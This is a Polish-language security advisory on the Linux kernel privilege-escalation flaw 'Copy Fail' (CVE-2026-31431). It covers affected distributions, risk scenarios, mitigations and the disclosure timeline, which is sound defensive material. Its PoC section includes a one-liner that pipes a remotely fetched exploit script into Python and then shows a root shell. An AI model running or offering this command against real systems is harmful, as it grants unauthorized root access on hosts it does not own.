← Powrót do listy

732 bajty i żaden Linux się nie ostoi: epicka luka czaiła się blisko dekadę

itadol5j

Luka Copy Fail

🚨 Epicka luka: 732 bajty i żaden Linux jej nie odparuje, czaiła się blisko dekadę

Ujawniono lukę w jądrze Linuksa o nazwie„Copy Fail” (CVE-2026-31431):

  • 732-bajtowy skrypt w Pythonie
  • jest w 100% niezawodny, nie wymaga okna wyścigu ani offsetów jądra;
  • Dotyczy wszystkich dystrybucji Linuksa (od 2017 r.)
  • ; prymityw ucieczki z kontenera, ataki między dzierżawcami;
  • Ukryta przez blisko dekadę, ujawniona dopiero 29 kwietnia 2026 r.

Ten sam skrypt działa na Ubuntu, RHEL, Amazon Linux, SUSE — bez żadnych modyfikacji.

🎯 Istota luki

Pojedyncza wada logiczna

Copy Fail toliniowa usterka logiczna:

  • Brak okna wyścigu: w przeciwieństwie do większości luk LPE w Linuksie nie trzeba wywoływać wyścigu;
  • Brak offsetów jądra: nie są potrzebne offsety specyficzne dla jądra;
  • 100% niezawodności: udaje się za każdym razem;
  • Ten sam skrypt: działa na wszystkich dystrybucjach

Łańcuch luki

Łańcuch ataku Copy Fail:

  • błąd logiczny w authencesn: usterka w logice,
  • AF_ALG: przez kryptograficzne API jądra,
  • splice(): wywołania łańcuchowe,
  • zapis 4 bajtów w page cache: ostateczny prymityw ataku,
  • możliwość wykorzystania przez blisko dekadę: od 2017 r. do wydania łatki

📊 Zakres podatności

Dystrybucje potwierdzone oficjalnie

Dystrybucja Wersja jądra Status
Ubuntu 24.04 LTS 6.17.0-1007-aws ✅ potwierdzone
Amazon Linux 2023 6.18.8-9.213.amzn2023 ✅ potwierdzone
RHEL 10.1 6.12.0-124.45.1.el10_1 ✅ potwierdzone
SUSE 16 6.12.0-160000.9-default ✅ potwierdzone

Pozostałe dotknięte dystrybucje

Następujące dystrybucje również są podatne:

  • Debian
  • Arch Linux
  • Fedora
  • Rocky Linux
  • AlmaLinux
  • Oracle Linux
  • Linux wbudowany

Wniosek: jeśli twoje jądro powstało między 2017 r. a wydaniem łatki —jesteś podatny.

💡 Scenariusze wysokiego ryzyka

Scenariusz Ryzyko Wpływ
Wielodostępny host linuksowy Wysokie każdy użytkownik może stać się rootem
Klaster Kubernetes / kontenerów Wysokie ataki między kontenerami i między dzierżawcami
CI Runner / Build Farm Wysokie pull request daje roota na runnerze
SaaS w chmurze uruchamiający kod użytkowników Wysokie dzierżawca staje się rootem hosta
Standardowy serwer linuksowy Średnie wewnętrzne LPE, możliwe ataki łańcuchowe
Laptop jednego użytkownika Niskie krok eskalacji uprawnień po infiltracji

🔧 Środki zaradcze

Opcja 1: aktualizacja jądra (zalecana)

Zaktualizuj jądro do wersji zawierającej mainline commit a664bf3d603d:

  • Co naprawia: wycofuje optymalizację algif_aead in-place z 2017 r.
  • Efekt: strony page cache nie trafiają już do zapisywalnej destination scatterlist
  • Status: większość głównych dystrybucji wydała już łatki

Opcja 2: wyłączenie modułu algif_aead (rozwiązanie tymczasowe)

# 禁用 algif_aead 模块
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

Skutki wyłączenia algif_aead

Komponent Wpływ
dm-crypt / LUKS Brak wpływu
kTLS / IPsec Brak wpływu
OpenSSL / SSH Brak wpływu
Przestrzeń użytkownika AF_ALG Możliwy wpływ

Wniosek: w przypadku większości systemów wyłączenie algif_aead nie ma zauważalnego wpływu.

Opcja 3: blokada AF_ALG przez seccomp

W przypadku niezaufanych obciążeń (kontenerów, piaskownic, CI) zablokuj tworzenie gniazd AF_ALG za pomocą seccomp:

# 检查 AF_ALG 使用
lsof | grep AF_ALG
ss -xa

🚀 Demonstracja PoC

PoC luki został upubliczniony, aby obrońcy mogli zweryfikować swoje systemy:

Szybkie uruchomienie

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

Szczegóły PoC

  • Rozmiar pliku: 732 bajty
  • Język: Python 3.10+, wyłącznie biblioteka standardowa (os, socket, zlib)
  • Cel domyślny: /usr/bin/su
  • SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

Ostrzeżenie: skrypt modyfikuje page cache binarki setuid; zmiany nie są trwałe po ponownym uruchomieniu, ale powłoka roota jest jak najbardziej prawdziwa. Nie uruchamiaj go w środowisku produkcyjnym.

📅 Harmonogram ujawnienia

Data Zdarzenie
2026-03-23 Zgłoszenie do zespołu bezpieczeństwa jądra Linuksa
2026-03-24 Wstępne potwierdzenie
2026-03-25 Propozycja łatki i jej przegląd
2026-04-01 Łatka trafia do mainline
2026-04-22 Przydzielenie numeru CVE-2026-31431
2026-04-29 Publiczne ujawnienie

🔍 Odkrywca: Xint Code

Luka została odkryta przez Xint Code:

  • Czas skanowania: około godziny skanowania podsystemu crypto/ w Linuksie
  • Sposób odkrycia: audyt kodu wspomagany przez AI
  • Pełna analiza: root cause, diagramy, operator prompt
  • Inne znaleziska: przy okazji odkryto kolejne luki o wysokiej dotkliwości, nadal w trakcie uzgadniania ujawnienia

Dokonania Xint Code

  • 0-day RCE: ZeroDay Cloud, wyczyszczenie kategorii baz danych (Redis, PostgreSQL, MariaDB)
  • DARPA AIxCC Top 3: finał DARPA AI Cyber Challenge
  • DEF CON CTF 9×: najbardziej utytułowana drużyna w historii DEF CON CTF

📝 Podsumowanie

Copy Fail (CVE-2026-31431) toepicka luka w jądrze Linuksa:

  • 732 bajty i żaden Linux jej nie odparuje (od 2017 r. do dziś),
  • 100% niezawodności, pojedyncza wada logiczna,
  • ucieczka z kontenera i ataki między dzierżawcami,
  • ukryta przez blisko dekadę, ujawniona 29 kwietnia 2026 r.
  • Scenariusze wysokiego ryzyka: hosty wielodostępne, klastry kontenerów, CI Runner, SaaS
  • , środki zaradcze: aktualizacja jądra albo wyłączenie algif_aead
  • , odkrywca: Xint Code, audyt kodu wspomagany przez AI

Epicka luka minionej dekady: jeden skrypt i żaden Linux jej nie odparuje.

Strona luki:https://copy.fail

GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-31431

Analiza techniczna:https://xint.io/blog/copy-fail-linux-distributions

Łatka jądra:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5